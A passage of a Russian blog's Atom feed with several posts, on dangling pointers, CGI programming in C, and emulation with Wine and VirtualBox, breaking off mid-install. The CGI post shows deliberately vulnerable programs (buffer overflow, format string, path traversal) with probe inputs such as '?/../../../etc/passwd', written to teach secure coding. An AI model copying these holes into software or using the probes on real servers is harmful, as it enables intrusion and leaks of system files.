всем, кто читает это сообщение, если вы его читаете то.... Итак, давно не видел коментов к своим статьям, из этого напрашивается два вывода: либо я  никудышно излагаю, либо рассматриваю темы, которые вам читателям, не интересны. Я бы хотел склоняться ко второму, ибо тут еще остается хоть какая-то надежда. Значит спрашиваю вас - "О чем бы вы хотели чтобы я написал?"&lt;br /&gt;Прошу всех кто прочитал отписаться в коментах, регаться для этого не нужно.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1308289372577350699?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1308289372577350699/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/02/blog-post.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1308289372577350699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1308289372577350699'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/02/blog-post.html' title='О чем написать?'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7832592908679246263</id><published>2010-01-30T13:15:00.009+03:00</published><updated>2010-01-30T13:36:57.266+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Об указателях</title><content type='html'>Привет всем, хочу написать небольшую заметку. Итак, допустим у нас есть такой код:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#000099;"&gt;char&lt;/span&gt; *Number(&lt;span style="color:#000099;"&gt;void&lt;/span&gt;);&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"%s"&lt;/span&gt;, Number());&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;char&lt;/span&gt; *Number(&lt;span style="color:#000099;"&gt;void&lt;/span&gt;)&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#000099;"&gt;int&lt;/span&gt; i;&lt;br /&gt;&lt;span style="color:#000099;"&gt;char&lt;/span&gt;  text[10];&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000099;"&gt;for&lt;/span&gt;(i=0;i==9;i++)&lt;br /&gt;text[i]=(&lt;span style="color:#000099;"&gt;char&lt;/span&gt;)i;&lt;br /&gt;&lt;span style="color:#000099;"&gt;return&lt;/span&gt; &amp;amp;text[0];&lt;br /&gt;}&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Вы видите в нем ошибки? А я вижу. В последней строке "&lt;span style="color:#000099;"&gt;return&lt;/span&gt; &amp;amp;text[0];". Функция возвращает адрес локальной переменной(указатель), хотя после передачи адреса переменная будет уничтожена, и мы получим "висячий указатель", и такие ошибки допускаются программистами довольно часто. Кстати говоря компилятор предупреждает нас:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;script.c: В функции ‘Number’:&lt;br /&gt;script.c:16: предупреждение: функция возвращает адрес локальной переменной&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Предупреждать предупреждает, но не говорит, что в этом плохого, потому многие закрывают глаза на подобные предупреждения. Подробнее о "висячих указателях" и то к чему они могут привести, можно прочитать в моей статье "&lt;a href="http://kerny-auroras.blogspot.com/2009/11/blog-post.html"&gt;Ссылка в никуда или сломанный указатель&lt;/a&gt;".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7832592908679246263?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7832592908679246263/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/01/blog-post_30.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7832592908679246263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7832592908679246263'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/01/blog-post_30.html' title='Об указателях'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-408764847481646014</id><published>2010-01-24T11:58:00.021+03:00</published><updated>2010-01-24T12:57:22.388+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программирование'/><title type='text'>Совсем чуть-чуть о cgi.</title><content type='html'>&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Введение в cgi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Популярность таких языков программирования, как php  используемых  для создания web-приложений, заставила нас позабыть о том, что для написания web-софта  можно использовать любой язык программирования. Способный работать со стандартными устройствами ввода, вывода, будь то C, C++, Pascal, Delphi, Basic, Assembler  (если постараться можно и в машинных кодах написать). В чем же мы выиграем, если приложение будет написано, допустим на C, а не на том же php. Всем известно, что C – это компилируемый язык, а php – интерпретируемый. Компилируемые языки работают в разы быстрее, мы сможем использовать это преимущество, когда нужно выполнить ресурсоемкие операции непосредственно на web-странице. Подобные приложения принято называть CGI-скриптами.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;CGI — стандарт интерфейса, используемого для связи внешней программы с web-сервером. Программу, которая работает по такому интерфейсу совместно с web-сервером, принято называть шлюзом, хотя многие предпочитают названия «скрипт» (сценарий) или «CGI-программа».&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;&lt;i&gt;&lt;span style="background: #c0c0c0"&gt;Листинг: Пример GCI- программы на C:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p lang="en-US" class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="color:#0070c0;"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#3366ff;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"Content-Type: text/html\r\n\r\n"&lt;/span&gt;);   //HTTP - заголовок&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"Hello World"&lt;/span&gt;);  // печатаем на экране сообщение Hello World&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Для того чтобы сервер правильно обрабатывал наши данные, ему нужно послать заголовок с их фактическим указанием. Content-Type: text/html, говорит о том, что данные текстовые, формата html, если же мы укажем  Content-Type: image/png, то это будет означать рисунок формата png, если не послать серверу заголовка, то он выдаст вам ошибку с номером 500. Собственно здесь все понятно. Но смысл cgi-скриптов, не в статической печати кода, а в динамической, в зависимости от какого либо условия html –код должен меняться, сам скрипт делать те или иные действия. В большинстве случаев выполнение или не выполнение условия строится на данных полученных от пользователя.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;&lt;i&gt;&lt;span style="background: #c0c0c0"&gt;Листинг: Пример GCI- программы на C, получаем данные от пользователя:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p lang="en-US" class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="color:#0070c0;"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *usedb = getenv(&lt;span style="color:#990000;"&gt;"QUERY_STRING"&lt;/span&gt;);&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"Content-Type: text/html\r\n\r\n"&lt;/span&gt;);   //HTTP – заголовок&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"%s"&lt;/span&gt;, usedb);   //данные, которые ввел пользователь&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Давайте откомпилируем данные пример, пускай наш cgi-скрипт называется &lt;span style="font-style:italic;"&gt;script.c&lt;/span&gt;, откомпилируем его (&lt;span style="font-style:italic;"&gt;gcc -o script script.c&lt;/span&gt;) и поместим в директорию для cgi-скриптов (cgi, cgi-bin), нашего web-сервера. Обратимся к скрипту следующим образом: «http://localhost/cgi-bin/script?hello», сгенерируется web-страница с надписью «&lt;span style="font-style:italic;"&gt;hello&lt;/span&gt;»&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;QUERY_STRING&lt;/span&gt;&lt;/span&gt; – это переменная окружения, помимо нее еще существуют и другие. В этой переменной храниться все, что мы передали серверу после знака «?». Функция &lt;span style="font-style:italic;"&gt;getenv()&lt;/span&gt; возвращает, нам указатель на  &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;QUERY_STRING&lt;/span&gt;&lt;/span&gt;, его мы и сохраняем в переменной типа указатель – &lt;span style="font-style:italic;"&gt;usedb&lt;/span&gt;. Затем выводим значение по адресу в указателе на экран. Так же данные от пользователя можно принять с помощью переменной &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;PATH_INFO&lt;/span&gt;&lt;/span&gt;, только тогда обращаться к скрипту нужно иначе, допустим, вы используете выше приведенный скрипт, только берете другую переменную окружения(&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;PATH_INFO&lt;/span&gt;&lt;/span&gt;), тогда обращаемся так:&lt;br /&gt;«http://localhost/cgi-bin/script/peremennay1&amp;amp;peremennay2»&lt;br /&gt;вывод:&lt;br /&gt;/peremennay1&amp;amp;peremennay2&lt;br /&gt;В принципе выше перечисленного достаточно для программирования cgi-приложений, при условии, что вы уже знаете язык, на котором программируете. Кстати говоря, cgi-скрипты можно писать и на языке команд операционной системы.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Уязвимости cgi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Переполнение Буфера:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;&lt;i&gt;&lt;span style="background: #c0c0c0"&gt;Листинг: GCI- программа на C, переполнение буфера:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p lang="en-US" class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="color:#0070c0;"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt; &lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *usedb = getenv(&lt;span style="color:#990000;"&gt;"QUERY_STRING"&lt;/span&gt;);&lt;br /&gt; &lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; dann[10];&lt;br /&gt; printf(&lt;span style="color:#990000;"&gt;"Content-Type: text/html\r\n\r\n"&lt;/span&gt;);&lt;br /&gt; strcpy(dann, usedb);&lt;br /&gt; printf(&lt;span style="color:#990000;"&gt;"%s"&lt;/span&gt;, dann);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Обратитесь к скрипту следующим образом «http://localhost/cgi-bin/script?0123456789012345» и сервер наградит вас ошибкой под номером 500. Но это меньшее, что может случиться, в лучшем (для взломщика)  случае он получит доступ к серверу с правами уязвимого скрипта, а там и до root'а не далеко. Чтобы избежать, подобных ошибок используйте безопасный аналог функции strcpy – trlcpy, а также следите за границами массивов.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Уязвимость Форматной строки (подробнее можно почитать в моей статье &lt;a href="http://forum.hackzona.ru/forum-f8/thread-t14429/post91548.html"&gt;«Недостатки форматной строки»&lt;/a&gt;):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;&lt;i&gt;&lt;span style="background: #c0c0c0"&gt;Листинг: GCI- программа на C, уязвимость форматной строки:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p lang="en-US" class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="color:#0070c0;"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt; &lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *usedb = getenv(&lt;span style="color:#990000;"&gt;"QUERY_STRING"&lt;/span&gt;);&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"Content-Type: text/html\r\n\r\n"&lt;/span&gt;);&lt;br /&gt;printf(usedb);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Пошлите серверу следующий запрос «http://localhost/cgi-bin/script?%x%x%x» и увидите содержимое стэка. И это лишь маленькая толика всей проблемы. При печати данных не забывайте использовать спецификаторы.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Произвольное чтение файлов:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;&lt;i&gt;&lt;span style="background: #c0c0c0"&gt;Листинг: GCI- программа на C, чтение произвольных файлов:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p lang="en-US" class="western" align="JUSTIFY" style="margin-bottom: 0cm"&gt;&lt;span style="color:#0070c0;"&gt;&lt;span style="font-family:Book Antiqua, serif;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;int&lt;/span&gt; main()&lt;br /&gt;{ &lt;br /&gt;&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *OpenFile(&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *arg);&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *filename = getenv(&lt;span style="color:#990000;"&gt;"QUERY_STRING"&lt;/span&gt;);&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"Content-Type: text/html\r\n\r\n"&lt;/span&gt;);&lt;br /&gt;printf(&lt;span style="color:#990000;"&gt;"%s"&lt;/span&gt;, OpenFile(filename));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *OpenFile(&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; *filename)&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;int&lt;/span&gt; i=0;&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;char&lt;/span&gt; line[256], text[10240];&lt;br /&gt;FILE *f;&lt;br /&gt;f=fopen(filename,&lt;span style="color:#990000;"&gt;"r"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;while(!feof(f))&lt;br /&gt;{&lt;br /&gt;fgets(line,256,f);&lt;br /&gt;strcpy(&amp;amp;text[i], line); // Здесь лучше использовать безопасную функцию strlcpy&lt;br /&gt;i=i+strlen(line);&lt;br /&gt;}&lt;br /&gt;fclose(f);&lt;br /&gt;&lt;span style="color:#0070c0;"&gt;return&lt;/span&gt; &amp;amp;text[0];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Теперь обратитесь к скрипту примерно так: «http://localhost/cgi-bin/script?/../../../etc/passwd»&lt;br /&gt;На странице появится содержимое файла &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;/etc/passwd&lt;/span&gt;&lt;/span&gt;. Перед использованием функций foren, open фильтруйте данные. Если ваш скрипт работает с БД, фильтруйте данные, дабы избежать уязвимости типа sql-injection, xss.&lt;br /&gt;Сегодня мы разобрали типичные ошибки программистов, это относится не только к cgi-&lt;br /&gt;скриптам, но и к обычным программам. Большинство ошибок не поддается классификации, поэтому следите за логикой выполнения программы, стоит ей выполнится не так как задумал разработчик и вся безопасность сойдет на нет.&lt;br /&gt;&lt;P CLASS="western" ALIGN=RIGHT STYLE="margin-bottom: 0.35cm"&gt;&lt;/P&gt;&lt;br /&gt;&lt;P CLASS="western" ALIGN=RIGHT STYLE="margin-bottom: 0.35cm"&gt;&lt;FONT FACE="Times New Roman, serif"&gt;16.12.09&lt;BR&gt;Kerny&lt;BR&gt;sa-sec.org&lt;/FONT&gt;&lt;/P&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-408764847481646014?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/408764847481646014/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/01/cgi_24.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/408764847481646014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/408764847481646014'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/01/cgi_24.html' title='Совсем чуть-чуть о cgi.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7740925760376550410</id><published>2010-01-19T12:25:00.027+03:00</published><updated>2010-01-19T13:20:34.861+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Привкус виртуальности</title><content type='html'>&lt;blockquote align="justify"&gt;&lt;span style="font-weight:bold;"&gt;Эмуляция &lt;/span&gt;— воспроизведение программными или аппаратными средствами  работы других программ или устройств.&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Не полная Эмуляция. Linux &amp;amp; Windows.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Многим пользователям, так или иначе, становиться известно о такой операционной системе, как Linux, рано или поздно приходит время и некоторые из них, по вполне понятным соображениям, стараются пересесть на нее. После установки, естественно, не сразу привыкаешь к Linux, но главная проблема состоит в том , что Windows приложения, не запускаются под Linux и наоборот, на то есть несколько причин, во-первых исполняемые файлы(exe) в Windows представлены PE-форматом, имеющую свою структуры, отличную от структуры исполняемых файлов в Linux(здесь они представлены ELF форматом англ. Executable and Linkable Format — формат исполняемых и компонуемых файлов), для каждого из этих форматов нужен свой, особый загрузчик. Допустим не проблема, разобравшись в форматах, написать свой загрузчик для каждой из систем. Но и здесь на нашем пути встаёт препятствие, разность в реализации api-функций.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Интерфейс прикладного программирования &lt;/span&gt;(англ. Application Programming Interface, API [эй-пи-ай]; по-русски чаще произносят [апи́]) — набор готовых констант, структур и функций, используемых при программировании пользовательских приложений и обеспечивающих правильное взаимодействие между пользовательским приложением и операционной системой.&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;Естественно эти самые api-функции, в разных ос будут различаться. Представьте, вы написали загрузчик и пытаетесь запустить программу для Windows под Linux, программа запускается, начинает выполняться. Тут доходит до места, где вызывается какая-нибудь api-функция, а этой функции естественно нет под Linux.  Программа не может дальше выполняться, но вот в чем фишка, хоть ОС и разные, но встречаются api функции аналогичные друг другу,  только вот названия разные. Как раз для таких случаев и создаются эмуляторы, например программа, вызывает какую-нибудь api-функцию, эмулятор берет аналогичную, если аналогичной функции не существует, то эмулятор сымитирует ее работу, это можно назвать неполной эмуляцией, так как эмулируются только api-функции, вот пример:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:9pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;Своя ОС: &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:10pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt; вызов api=&amp;gt;Успех&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#ff6633;"&gt;&lt;span style="font-size:10pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:9pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;Чужая ОС:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:10pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;вызов api=&amp;gt;Ошибка&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:9pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;Режим работы с эмулятором: &lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:10pt;"&gt;&lt;i&gt;&lt;span style="background: #ffff00"&gt;вызов api=&amp;gt; симуляция=&amp;gt;Успех&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;При таком подходе, потеря в производительности программ не значительная, но существуют недокументированные api-функции, о которых может не знать разработчик эмулятора. Если такая функция (хоть одна) будет присутствовать в программе, запускаемой из под эмулятора, то программа не будет функционировать, или будет, но неправильно, поэтому только 60%-70% софта можно запустить на другой ОС.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Полная Эмуляция. Виртуальные машины.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Существуют программные продукты, позволяющие эмулировать не определённые api-функции одной системы в другой, а сразу целый компьютер. И, правда, зачем заморачиваться, если можно с эмулировать сразу весь компьютер, а потом установить на него нужную ОС. Это уже называется иначе: виртуализация, а машины, созданные с помощью нее, называются виртуальными машинами. Виртуальная машина—  это вычислительная машина, которая  эмулируется на реальном компьютере, причём она на столько же дееспособна, как и реальная система, только является не аппаратной, а программной реализацией. Представьте себе какую-нибудь игру ведь это можно сказать Виртуализация реальности, здесь тоже самое, только не игровой мир представлен в виде Виртуальной реальности. А лишь отдельный компьютер и он настолько хорошо проработан, что можно установить на него почти любую из существующих ОС, программы к ней, и работать также полноценно, как и на обычном «реальном» компьютере, Таким образом, на одном мощном компьютере можно создать несколько по слабее и даже объединить их в локальную сеть. Часто виртуальные машины используются для изучения вирусов, ведь вреда реальной системе он нанести не сможет, максимум угробит виртуальную, но восстановить ее плевое дело.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oxXdxKIGwp0/S1V-muNbktI/AAAAAAAAANc/QIzKwiLK-PU/s1600-h/1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/S1V-muNbktI/AAAAAAAAANc/QIzKwiLK-PU/s320/1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5428384129569493714" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;VMware Workstation&lt;/span&gt; — программа, позволяющая создавать и запускать одновременно несколько виртуальных машин (x86 - архитектуры), в каждой из которых работает своя гостевая операционная система, например, позволяет пользователям компьютеров Macintosh  или на базе платформ Intel/AMD запускать приложения, разработанные для других операционных систем, в том числе Windows и Linux. Поддерживаются как 32-битные, так и 64-битные версии ОС.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;VirtualBox&lt;/span&gt; — программный продукт виртуализации для операционных систем Microsoft Windows, DOS, GNU/Linux, FreeBSD, Mac OS X и SUN Solaris/OpenSolaris. Программа была создана компанией Innotek с использованием исходного кода.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-size:130%;"&gt;Пример эмуляции. Wine &amp;amp; VirtualBox.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Wine&lt;/span&gt; - &lt;span style="font-style:italic;"&gt;это реализация api win32 над Unix и его графическим сервером XFree86/xorg. Поэтому программу под MS Windows с помощью Wine можно запустить только на x86 машине, т.к. все инструкции кроме вызов API выполняются процессором. Это позволяет достичь высокой производительности (многие программы работают из под WINE с такой же скоростью, как и в "настоящей" Windows).&lt;/span&gt;&lt;br /&gt;Пришло время попрактиковаться, попробуем установить wine и посмотреть на все это чудо. Wine - не совсем эмулятор, но я все, же осмелюсь его так называть.&lt;br /&gt;Для начала нам нужна сама программа (ссылка). Есть разные её версии и даже для Windows там она используется для запуска устаревших приложений. Но сегодня мы задумали запускать Windows приложения под Linux. Итак, скачали, распаковали.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/S1V_Diz6C_I/AAAAAAAAANk/H2aRY9mxLEs/s1600-h/2.jpeg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_oxXdxKIGwp0/S1V_Diz6C_I/AAAAAAAAANk/H2aRY9mxLEs/s320/2.jpeg" border="0" alt="" id="BLOGGER_PHOTO_ID_5428384624725855218" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;Теперь установим программу, для этого запускаем консоль, я точно не знаю нужен ли для установки root, но на всякий случай войдём в сеанс root.&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt; su — root&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;Вас попросят пароль root'а, вводите и приступим. Переходим в папку с программой у меня это /home/Kerny/wine-1.1.26.&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt; cd /home/Kerny/wine-1.1.26&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;Устанавливаем:&lt;br /&gt;&lt;/div&gt;&lt;blockquote align="justify"&gt; ./tools/wineinstall&lt;br /&gt;./configure&lt;br /&gt;make depend&lt;br /&gt;make&lt;/blockquote&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oxXdxKIGwp0/S1WB7mSaLLI/AAAAAAAAANs/0dRNqYkKwDY/s1600-h/3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 139px;" 